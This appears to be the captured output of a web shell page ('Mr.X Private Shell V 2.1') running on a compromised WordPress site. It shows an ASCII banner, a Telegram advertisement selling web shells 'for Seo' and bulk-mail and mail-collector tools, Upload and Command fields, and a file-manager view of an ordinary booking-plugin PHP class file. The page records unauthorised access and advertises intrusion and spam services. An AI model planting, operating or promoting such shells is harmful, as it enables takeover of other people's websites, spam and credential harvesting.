__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @copyright © TMS-Plugins. All rights reserved.
 * @licence   See LICENCE.md for license details.
 */

namespace AmeliaBooking\Domain\Entity\Cache;

use AmeliaBooking\Domain\ValueObjects\Json;
use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id;
use AmeliaBooking\Domain\ValueObjects\String\Name;

/**
 * Class Cache
 *
 * @package AmeliaBooking\Domain\Entity\Cache
 */
class Cache
{
    /** @var Id */
    private $id;

    /** @var  Name */
    private $name;

    /** @var  Id */
    private $paymentId;

    /** @var  Json */
    protected $data;

    /**
     * Cache constructor.
     *
     * @param Name $name
     */
    public function __construct(
        Name $name
    ) {
        $this->name = $name;
    }

    /**
     * @return Id
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * @param Id $id
     */
    public function setId($id)
    {
        $this->id = $id;
    }

    /**
     * @return Name
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * @param Name $name
     */
    public function setName($name)
    {
        $this->name = $name;
    }

    /**
     * @return Id
     */
    public function getPaymentId()
    {
        return $this->paymentId;
    }

    /**
     * @param Id $paymentId
     */
    public function setPaymentId($paymentId)
    {
        $this->paymentId = $paymentId;
    }

    /**
     * @return Json
     */
    public function getData()
    {
        return $this->data;
    }

    /**
     * @param Json $data
     */
    public function setData(Json $data)
    {
        $this->data = $data;
    }

    /**
     * @return array
     */
    public function toArray()
    {
        return [
            'id'        => $this->getId() ? $this->getId()->getValue() : null,
            'name'      => $this->getName()->getValue(),
            'paymentId' => $this->getPaymentId() ? $this->getPaymentId()->getValue() : null,
            'data'      => $this->getData() ? $this->getData()->getValue() : null,
        ];
    }
}

Filemanager

Name Type Size Permission Actions
Cache.php File 2.03 KB 0640
Filemanager